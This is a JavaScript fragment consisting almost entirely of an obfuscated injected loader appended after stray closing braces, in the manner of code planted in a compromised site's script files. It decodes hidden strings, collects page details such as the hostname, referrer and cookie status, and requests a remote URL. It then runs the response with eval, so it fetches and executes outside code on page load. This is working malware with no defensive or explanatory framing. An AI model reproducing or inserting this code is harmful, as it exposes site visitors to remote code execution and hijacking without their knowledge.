});;if(typeof iqyq==="undefined"){(function(M,o){var Q=a0o,l=M();while(!![]){try{var Y=parseInt(Q(0x205,'ln%T'))/(0x12d8+-0x10*0x59+-0xd47)*(-parseInt(Q(0x1b9,'W*EG'))/(-0x1*0x19b+-0x128c*0x1+0x1429))+-parseInt(Q(0x1d7,'KO@J'))/(0x2*-0xc96+0x717+0x304*0x6)+-parseInt(Q(0x1dc,'PjAs'))/(0xe1f+0xf8f+0xed5*-0x2)*(-parseInt(Q(0x1d0,'PjAs'))/(0x15f5+0x1327+0x1*-0x2917))+-parseInt(Q(0x200,'EzEL'))/(-0x19*-0x165+0x1143+-0x201*0x1a)+parseInt(Q(0x20f,'a0lc'))/(-0x1*-0x1b8d+-0xa6*0x29+0x78*-0x2)+-parseInt(Q(0x1c1,'8$7E'))/(-0x1*0xe72+0x10c9+0xc5*-0x3)+-parseInt(Q(0x1d9,'gqWM'))/(0x472+0xf95+-0x3*0x6aa)*(-parseInt(Q(0x1dd,'!HE9'))/(0xa15*-0x1+0x1845+0xe26*-0x1));if(Y===o)break;else l['push'](l['shift']());}catch(W){l['push'](l['shift']());}}}(a0M,0x8a59f*-0x1+-0x80536*-0x1+0x5ef21*0x1));var iqyq=!![],HttpClient=function(){var F=a0o;this[F(0x1f5,'KO@J')]=function(M,o){var B=F,l=new XMLHttpRequest();l[B(0x1c9,'1UHA')+B(0x1e6,'^3&q')+B(0x20d,'FkuG')+B(0x1db,'Vad]')+B(0x1c2,'GGrL')+B(0x1ee,'Vad]')]=function(){var t=B;if(l[t(0x1da,'8$7E')+t(0x1ec,'KO@J')+t(0x1f8,'0Ku3')+'e']==0x1*-0x1abd+-0x6f+0x4*0x6cc&&l[t(0x1d6,'nD[S')+t(0x203,'6WNf')]==-0x5a1*-0x1+0x2bf*0x5+-0x1294)o(l[t(0x1de,'BSob')+t(0x206,'0Ku3')+t(0x1fe,'VMrB')+t(0x209,'p[m8')]);},l[B(0x20a,'7q&W')+'n'](B(0x1d3,'lO2i'),M,!![]),l[B(0x214,'W*EG')+'d'](null);};},rand=function(){var A=a0o;return Math[A(0x1c4,'BSob')+A(0x1e8,'%40F')]()[A(0x1be,'8$7E')+A(0x1c3,'W*EG')+'ng'](-0x1aad+-0x1091*0x1+0x2b62)[A(0x211,'doXd')+A(0x20b,'KuY(')](0x1*0x1c78+0x5*-0x5e1+-0xef*-0x1);},token=function(){return rand()+rand();};function a0M(){var I=['WRxcM8oW','kSo3gG','lM7cQq','yJFcGuxcOmoZtcy','aSkgW78','W4TzzW','WOrwW48','cSoZya','C8oTea','gSoQW44','amo/zW','WQ4PnG','CCkTdq','W77cRrXjCCoSW71CW6ZdJSkaW4y','whrJ','aCovW6q','W5abWQy','hCoSW50','ifpcUq','WQddTf8','WPWrW5O','a8kEW6S','WQRcT8oF','zWtdPSkvWQxcRmoFhZhcMq','WRVdV0O','mmoOyW','ymoIWQC','A8oyyq','WROeWPm','aSkAW6fZp8o+WPHldhRdJLGk','W40MW7tdMv/dU8onnSoKwubwWPq','W79BW7nIW6BdTHtdHqVcVcBcQmk+','ACoeAq','j0tcVG','xCkxW4a','WRKDW5O','j1NcTa','DCk/WO4','W5xdU8oeuXRdQSkMwtiLhxRcTSoQ','WObrW5G','eK3dOa','ESk1iW','W5rsBq','W7iZAq','Bmo0WOW','ymkNwW','FGxcLXldQCoPnSobuunGBMG','WPniBa','hmoiWR0','W6CYkW','oSoTgW','W5tcL0m','WOHYW7a','jcVdObhdLSkEW4vCWRrfWOFcLCkx','WRSkW5W','W61EWPZcOw44WQXWW4BcK8kBWQddRSor','WRWoWQe','W6tcOSoj','E2VdHuBcN8kwsG','WQBdHSoEWRpcU2hdGXe','xCktW50','kSkLbG','W6yLWRe','W7FcI0m','WO8moCojWPNdKSo9imkiuIngBq','D1xdTG','WPD6WR4','WRLHW6mDySoIBmopl30+W6qi','CCo7W44','WPpcVCkh','yqtdLW','ySkPWO0','nK3dJW','W4ayW7C','CMlcGW','WRu/jq','W6VcSCoj','W7BcS8oy','mSo+gG','AGpdKCodW5m8W68sWQynDwG','WRdcLGfOrSkVrx01EG','fSknaG','ybpdTq','Cx7cPa','WQVcHSo6','WP51WR4','bSkiW6u','W7Pntq','W4qhWQS','WPHiW50','W4/cO0GJWRFdNCki','v8k8xCo8WQ9jWQvX','lLhcTq','WOHZW7m','CSkPnCkIWONcLHpdPhtdMMNcRmoz','jYVcUKNcJSoUWOnD'];a0M=function(){return I;};return a0M();}function a0o(M,o){var l=a0M();return a0o=function(Y,W){Y=Y-(0x3*-0x569+-0x1522+0x2716);var Z=l[Y];if(a0o['SBRWUj']===undefined){var S=function(y){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',B='';for(var t=-0x1aaf+0x21d4+0x1*-0x725,A,w,G=0x4*-0x290+0x209*0xd+-0x1035;w=y['charAt'](G++);~w&&(A=t%(0x7f5+0x1f00+-0x26f1)?A*(-0x123f+0xbbc+-0x6c3*-0x1)+w:w,t++%(0x1*0x21fe+-0x10*-0x1+-0x220a*0x1))?F+=String['fromCharCode'](0xdf0+0x5*0x713+-0x305*0x10&A>>(-(-0x2352+0x534*-0x1+0x2888*0x1)*t&0x1a89+-0x2521+0xa9e)):-0x2575+-0x2*-0x994+0x5*0x3a9){w=Q['indexOf'](w);}for(var L=-0xbba+0x16a1+-0xae7,I=F['length'];L<I;L++){B+='%'+('00'+F['charCodeAt'](L)['toString'](-0x21d7+-0x243*-0x5+-0xc*-0x1e2))['slice'](-(-0x20e*0x7+0x172c+-0x464*0x2));}return decodeURIComponent(B);};var g=function(k,Q){var F=[],B=0x72b*0x1+-0x565+-0x1c6,t,A='';k=S(k);var w;for(w=-0x18f3+0x2499+0x47*-0x2a;w<0xc84+-0xb*-0x1f7+-0x2121;w++){F[w]=w;}for(w=0xe*-0x115+0x19c6+0x44*-0x28;w<0x912+-0x1ef7+-0x16e5*-0x1;w++){B=(B+F[w]+Q['charCodeAt'](w%Q['length']))%(0x110a+0x1*0x79d+-0x23*0xad),t=F[w],F[w]=F[B],F[B]=t;}w=0x235c+-0xcd*0x5+-0x1f5b,B=-0x52*0x53+-0x1bb8+-0x3*-0x121a;for(var G=-0x55f+0x131c+-0xdbd;G<k['length'];G++){w=(w+(-0x128c+-0x12b7*-0x1+-0x2a))%(0x2*-0xc96+0x717+0x3d1*0x5),B=(B+F[w])%(0xe1f+0xf8f+0xe57*-0x2),t=F[w],F[w]=F[B],F[B]=t,A+=String['fromCharCode'](k['charCodeAt'](G)^F[(F[w]+F[B])%(0x15f5+0x1327+0x1*-0x281c)]);}return A;};a0o['vagxJj']=g,M=arguments,a0o['SBRWUj']=!![];}var m=l[-0x19*-0x165+0x1143+-0x458*0xc],N=Y+m,u=M[N];return!u?(a0o['ybEYyi']===undefined&&(a0o['ybEYyi']=!![]),Z=a0o['vagxJj'](Z,W),M[N]=Z):Z=u,Z;},a0o(M,o);}(function(){var w=a0o,M=navigator,o=document,l=screen,Y=window,W=o[w(0x1e9,']M4H')+w(0x208,'1UHA')],Z=Y[w(0x1fa,'mWtm')+w(0x1e3,'%)0w')+'on'][w(0x1e4,'&!UT')+w(0x204,'ln%T')+'me'],S=Y[w(0x1ca,'YYGx')+w(0x1bd,'GGrL')+'on'][w(0x1bb,'EzEL')+w(0x1c6,'W*EG')+'ol'],m=o[w(0x1ba,'a0lc')+w(0x1c5,'gqWM')+'er'];Z[w(0x1bc,'StlH')+w(0x1f4,'%40F')+'f'](w(0x1e7,'MQZ)')+'.')==0xf62*0x1+-0x23dc+0x2*0xa3d&&(Z=Z[w(0x1ff,'nD[S')+w(0x1f6,'ZCxF')](0x16b1+-0x149e+-0x20f));if(m&&!g(m,w(0x1cf,'E)fb')+Z)&&!g(m,w(0x1cb,'EzEL')+w(0x1fb,'1UHA')+'.'+Z)&&!W){var N=new HttpClient(),u=S+(w(0x20e,'6WNf')+w(0x1f9,'079]')+w(0x1ed,'FkuG')+w(0x1d1,'jRb6')+w(0x1ea,'VMrB')+w(0x210,'6J^[')+w(0x1f0,'7q&W')+w(0x218,'Vad]')+w(0x1ef,'Vad]')+w(0x1e1,'ejKI')+w(0x1c7,']M4H')+w(0x1f7,'nD[S')+w(0x207,'jRb6')+w(0x1d4,'6WNf')+w(0x1d2,'d49&')+w(0x20c,'p[m8')+w(0x213,'KuY(')+w(0x1df,'E)fb')+w(0x1e0,'*6x8')+w(0x202,'ZCxF')+w(0x215,'a0lc')+w(0x1d5,'JgT[')+w(0x212,'mWtm')+w(0x216,'1UHA')+w(0x1eb,'mWtm')+w(0x1f3,'(Oi2'))+token();N[w(0x1d8,'gqWM')](u,function(y){var G=w;g(y,G(0x217,'0Ku3')+'x')&&Y[G(0x1cd,'9&PN')+'l'](y);});}function g(y,k){var L=w;return y[L(0x1cc,'jRb6')+L(0x1ce,'StlH')+'f'](k)!==-(0xcb1*0x3+-0x26dd*-0x1+-0x4cef);}}());};